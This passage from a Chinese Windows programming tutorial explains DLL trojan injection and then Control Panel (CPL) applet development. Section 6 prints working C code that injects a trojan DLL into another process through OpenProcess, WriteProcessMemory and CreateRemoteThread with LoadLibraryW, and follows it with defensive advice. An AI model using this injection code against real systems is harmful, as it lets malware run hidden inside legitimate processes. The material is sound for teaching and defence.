遠程線程插入技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。將木馬程序以DLL的形式實現后,需要使用插入到目標進程中的遠程線程將該木馬DLL插入到目標進程的地址空間,即利用該線程通過調用WindowsAPILoadLibrary函數來加載木馬DLL,從而實現木馬對系統的侵害。
6.2 DLL木馬注入程序
這里涉及到一個非常重要的WindowsAPI――CreateRemoteThread。與之相比,我們所習慣使用的CreateThreadAPI函數只能在進程自身內部產生一個新的線程,而且被創建的新線程與主線程共享地址空間和其他資源。而CreateRemoteThread則不同,它可以在另外的進程中產生線程!CreateRemoteThread有如下特點:
(1)CreateRemoteThread較CreateThread多一個參數hProcess,該參數用於指定要創建線程的遠程進程,其函數原型為:
HANDLE CreateRemoteThread(
HANDLE hProcess,//遠程進程句柄
LPSECURITY_ATTRIBUTESlpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINElpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
(2)線程函數的代碼不能位於我們用來注入DLL木馬的進程所在的地址空間中。也就是說,我們不能想當然地自己寫一個函數,並把這個函數作為遠程線程的入口函數;
(3)不能把本進程的指針作為CreateRemoteThread的參數,因為本進程的內存空間與遠程進程的不一樣。
以下程序由作者Shotgun的DLL木馬注入程序簡化而得(在經典書籍《Windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll 插入到ID為4000的進程中:
#include<windows.h> #include<stdlib.h> #include<stdio.h>
void CheckError(int, int, char*); //出錯處理函數
PDWORD pdwThreadId; HANDLE hRemoteThread,hRemoteProcess; DWORD fdwCreate, dwStackSize,dwRemoteProcessId; PWSTR pszLibFileRemote=NULL;
void main(int argc,char**argv) { int iReturnCode; char lpDllFullPathName[MAX_PATH]; WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId=4000; strcpy(lpDllFullPathName, "d:\\troydll.dll");
//將DLL文件全路徑的ANSI碼轉換成UNICODE碼 iReturnCode =MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS, lpDllFullPathName, strlen(lpDllFullPathName), pszLibFileName,MAX_PATH); CheckError(iReturnCode,0,"MultByteToWideChar");
//打開遠程進程 hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD| //允許創建線程 PROCESS_VM_OPERATION| //允許VM操作 PROCESS_VM_WRITE, //允許VM寫 FALSE,dwRemoteProcessId); CheckError((int)hRemoteProcess,NULL, "Remote ProcessnotExistorAccessDenied!");
//計算DLL路徑名需要的內存空間 int cb=(1+lstrlenW(pszLibFileName)) *sizeof(WCHAR); pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb, MEM_COMMIT,PAGE_READWRITE); CheckError((int)pszLibFileRemote,NULL,"VirtualAllocEx");
//將DLL的路徑名復制到遠程進程的內存空間 iReturnCode =WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL); CheckError(iReturnCode,false, "WriteProcessMemory");
//計算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW"); CheckError((int)pfnStartAddr,NULL,"GetProcAddress");
//啟動遠程線程,通過遠程線程調用用戶的DLL文件 hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr, pszLibFileRemote,0,NULL); CheckError((int)hRemoteThread,NULL,"CreateRemoteThread");
//等待遠程線程退出 WaitForSingleObject(hRemoteThread,INFINITE); //清場處理 if (pszLibFileRemote!=NULL) { VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE); } if (hRemoteThread !=NULL) { CloseHandle(hRemoteThread); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } }
//錯誤處理函數CheckError() void CheckError(int iReturnCode, int iErrorCode, char*pErrorMsg) { if(iReturnCode==iErrorCode) { printf("%sError:%d\n\n",pErrorMsg,GetLastError()); //清場處理 if (pszLibFileRemote!=NULL) { VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE); } if (hRemoteThread !=NULL) { CloseHandle(hRemoteThread); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); }
exit(0); } } |
從DLL木馬注入程序的源代碼中我們可以分析出DLL木馬注入的一般步驟為:
(1)取得宿主進程(即要注入木馬的進程)的進程IDdwRemoteProcessId;
(2)取得DLL的完全路徑,並將其轉換為寬字符模式pszLibFileName;
(3)利用WindowsAPIOpenProcess打開宿主進程,應該開啟下列選項:
a.PROCESS_CREATE_THREAD:允許在宿主進程中創建線程;
b.PROCESS_VM_OPERATION:允許對宿主進程中進行VM操作;
c.PROCESS_VM_WRITE:允許對宿主進程進行VM寫。
(4)利用WindowsAPIVirtualAllocEx函數在遠程線程的VM中分配DLL完整路徑寬字符所需的存儲空間,並利用WindowsAPIWriteProcessMemory函數將完整路徑寫入該存儲空間;
(5)利用WindowsAPIGetProcAddress取得Kernel32模塊中LoadLibraryW函數的地址,這個函數將作為隨后將啟動的遠程線程的入口函數;
(6)利用WindowsAPICreateRemoteThread啟動遠程線程,將LoadLibraryW的地址作為遠程線程的入口函數地址,將宿主進程里被分配空間中存儲的完整DLL路徑作為線程入口函數的參數以另其啟動指定的DLL;
(7)清理現場。
6.3 DLL木馬的防治
從DLL木馬的原理和一個簡單的DLL木馬程序中我們學到了DLL木馬的工作方式,這可以幫助我們更好地理解DLL木馬病毒的防治手段。
一般的木馬被植入后要打開一網絡端口與攻擊程序通信,所以防火牆是抵御木馬攻擊的最好方法。防火牆可以進行數據包過濾檢查,我們可以讓防火牆對通訊端口進行限制,只允許系統接受幾個特定端口的數據請求。這樣,即使木馬植入成功,攻擊者也無法進入到受侵系統,防火牆把攻擊者和木馬分隔開來了。
對於DLL木馬,一種簡單的觀察方法也許可以幫助用戶發現之。我們查看運行進程所依賴的DLL,如果其中有一些莫名其妙的DLL,則可以斷言這個進程是宿主進程,系統被植入了DLL木馬。“道高一尺,魔高一丈”,現如今,DLL木馬也發展到了更高的境界,它們看起來也不再“莫名其妙”。在最新的一些木馬里面,開始采用了先進的DLL陷阱技術,編程者用特洛伊DLL替換已知的系統DLL。特洛伊DLL對所有的函數調用進行過濾,對於正常的調用,使用函數轉發器直接轉發給被替換的系統DLL;對於一些事先約定好的特殊情況,DLL會執行一些相應的操作。
7、Windows控制面板編程
7.1 控制面板編程概述
打開Windows的控制面板(“Control Panel”)會看到類似的圖像:
圖31Windows的控面板
雙擊其中的一個圖標,會顯示對話框,讓用戶來完成相應的軟硬件設置工作。這就是我們看到的控制面板。
經過挖掘,發現並不是exe文件(Windows Vista下支持exe的控制面板應用程序,並且微軟建議做成exe文件),而是有着cpl后綴名的文件,在windows->system32下可以找到這樣的文件。如果借助工具,Dependency Walker for Win32(x86) 或dumpbin等就可以看到該文件導出了一些函數。
圖32 查看wuaucpl.cpl
多觀察幾個這樣的文件,發現導出的函數雖有差異,但其中都有CPLApplet函數被導出。這些特征與DLL的特征吻合。去MSDN上查閱CPLApplet函數的說明證明我們的猜測是正確的。可以說控制面板應該程序就是以CPL為后綴名並且一定要導出CPLApplet函數的dll文件。
對於具體的描述可以參考:http://msdn2.microsoft.com/en-us/library/bb776838(VS.85).aspx
明確幾個概念:
(1)控制面板管理程序:用於管理控制面板的程序,在桌面windows版本是CONTROL.EXE,在windows CE版本是CTLPNL.EXE,它們負責管理控制面板里的控制面板條目。簡單的說,我們打開控制面板時,這些管理程序就在運行了。只不過我們看到的是掛上了Shell外觀而已(注:這是我的猜測,還沒有找到依據)。
(2)控制面板條目(Control Panel Item):在控制面板里看到的每個圖標所對應的就是一個控制面板條目。
(3)控制面板應用程序(Control Panel Application):就是最終看到的CPL文件,一個控制面板應用程序可以實現幾個控制面板條目。
7.2 CPLApplet函數
編寫控制面板應用程序,就是編寫dll文件,在該文件中實現控制所需要的功能。這就涉及到一個不得不說的函數,沒有它就無法完成控制面板程序的實現。函數CPLApplet是控制面板應用程序(Control Panel application)的入口點,它被控制面板管理程序(control.exe 或Ctlpnl.exe)自動調用,它是個回調函數(Callback),注意:CPL文件一定要把函數CPLApplet導出,這樣控制面板才能找到程序的入口點。
當啟動控制面板時,它會搜索Windows或System32或注冊表的相應條目目錄下的文件,並把以CPL作為擴展名的文件載入,它調用CPL文件的導出函數CPLApplet(),發送消息給該函數。所以,控制面板應用程序要處理控制面板發送過來的消息,即在函數CPLApplet中進行處理,該函數沒有默認的行為。如果一個CPL文件中實現了多個控制面板程序,那么只會有一個CPLApplet函數,它負責所有的控制面板應用程序。
CPLApplet函數的聲明為:
LONG CPLApplet(
HWND hwndCPl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
);
參數說明:
l hwndCPl:控制面板管理程序或稱為控制面板的窗口句柄,即為control.exe的窗口句柄。如果控制面板應用程序或其它窗口需要傳遞父窗口句柄,可以使用該參數。
l Msg:發送到控制面板應用程序的消息,由控制面板管理程序發送。
l lParam1:消息參數
l lParam2:消息參數
l 函數的返回值依據消息的不同而不同。
l 應用程序要使用該函數需要包含頭文件:cpl.h
CPL_INQUIRE:lParam1是以0為起點的整數,它是該CPL文件中所包含的控制面板條目的索引,lParam2參數要求一個CPLINFO結構的指針,用來填充所需的圖標、字符串等信息。如果成功處理了該消息,應該返回0。
CPL_NEWINQUIRE:該消息與CPL_INQUIRE都是CPL_GETCOUNT之后被發送的消息,但並沒有明確的先后順序。所以程序里不要依賴它們的順序來處理不同的事務。
7.2 編寫控制面板應用程序
7.2.1 編寫步驟
編寫控制面板應用程序的步驟:
1 選擇適當的開發工具(如:Visual Studio 2008),建立DLL項目;
2 導出函數CPLApplet;
3 在函數CPLApplet的消息處理過程中完成你需要的工作;
7.2.2 一個簡單例子
開發工具:MicrosoftVisual Studio 2008
操作系統:Windows 7
步驟:
1 、新建Win32工程,工程名為CPLTest;
圖32 新建Win32項目工程
2 、應用程序類型選擇DLL(CPL文件本質上是DLL);
圖33 建立DLL程序
3 、在項目中新增或導入一個圖標文件和兩個字符串資源,用於在控制面板管理程序中顯示圖標和提示;
在”資源視圖” 窗口上的”CPLTest”工程上鍵選擇添加->資源,然后選擇Icon和String Table
以下為resource.h 的部分內容
#define IDI_ICON1 101 //圖標標識
#define IDS_STRING102 102 //字符串tom
#define IDS_STRING103 103//字符串cui
4、 在dllmain.cpp文件中增加函數的導出CPLApplet;
extern "C" __declspec(dllexport) LONG APIENTRY CPlApplet(HWND hwndCPL, UINT uMsg, LPARAM lParam1,LPARAM lParam2);
原則上可以按照上面的方式導出就可以了,但是請注意CPlApplet的調用方式是APIENTRY,通過這樣方式導出的函數會被改名,通過多次實驗也不可行。你可能會上去掉APIENTRY,但這樣編出來的CPL文件無法運行,查閱了相關文檔,在Windows Mobile Version 5.0 SDK的文檔里指明了該函數的調用方式,windowsCE 5.0 和Windows Shell and Controls沒有指明這種調用方式。所以,只有加上APIENTRY。
現在的問題是如何導出該函數?看來要通過DEF文件了,如果你的項目里沒有產生DEF文件,可以建立一個.def文件,輸入如下內容。
; CPLTest.def : Declares the module parameters for the DLL. LIBRARY "CPLTest" EXPORTS ; Explicit exports can go here CPlApplet |
5、 在dllmain.cpp文件中增加函數CPLApplet的消息處理函數來完成指定的功能;
在dllmain.cpp中包含以上兩個頭文件
#include "resource.h" //資源標識
#include <Cpl.h> //CPLApplet函數要求的頭文件
我的例子完成顯示一個MessageBox的功能。dllmain.cpp的完整代碼:
// dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" #include "resource.h" #include <Cpl.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
LONG APIENTRY CPlApplet(HWND hwndCPL, UINT uMsg, LPARAM lParam1, LPARAM lParam2) { int i; LPCPLINFO lpCPlInfo;
i = (int) lParam1;
switch (uMsg) { case CPL_INIT: // first message, sent once return TRUE;
case CPL_GETCOUNT: // second message, sent once return 1; break;
case CPL_INQUIRE: // third message, sent once per application lpCPlInfo = (LPCPLINFO) lParam2; lpCPlInfo->lData = 0; lpCPlInfo->idIcon = IDI_ICON1; lpCPlInfo->idName = IDS_STRING102; lpCPlInfo->idInfo = IDS_STRING103; break;
case CPL_DBLCLK: // application icon double-clicked MessageBox(NULL, TEXT("Tom66"), TEXT("Cuei666"), MB_OK); break;
case CPL_STOP: // sent once per application before CPL_EXIT break;
case CPL_EXIT: // sent once before FreeLibrary is called break;
default: break;
} return 0; } |
6、編譯鏈接產生文件
屬性->配置屬性->連接器->輸出文件修改輸出文件的后綴名為.cpl,也可以不修改,到最后把dll改為cpl也可以的。
圖34 修改文件后綴名為.cpl
7.2.3程序的安裝與運行
(1)將cpl文件拷貝到Windows(Windows CE)或Windows/system32(桌面版本Windows),打開控制面板就可以看到該CPL文件所包含的控制面板條目,圖標和文件就是你在CPLApplet里指定的。
圖35 將.cpl文件放在SysWOW64下與控制面板的顯示
(2)雙擊CTLTest.cpl文件,選擇用Windows Control Panel運行即可。
圖36 雙擊運行.cpl文件
(3)在windows的注冊表[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ControlPanel/Cpls] 下新建字符串,並指定cpl所在的完整路徑,然后就可以在控制面板里看到新增加的控制面板條目。通過寫注冊表的方式,是一些應用軟件慣用的方式,安裝時可以通過InstallShield等安裝制作工具將其添加到注冊表,卸載時,刪除注冊表中相關的項。
圖35 修改注冊表
(4)通過拷貝的方式,直接刪除相應的CPL文件就可以了。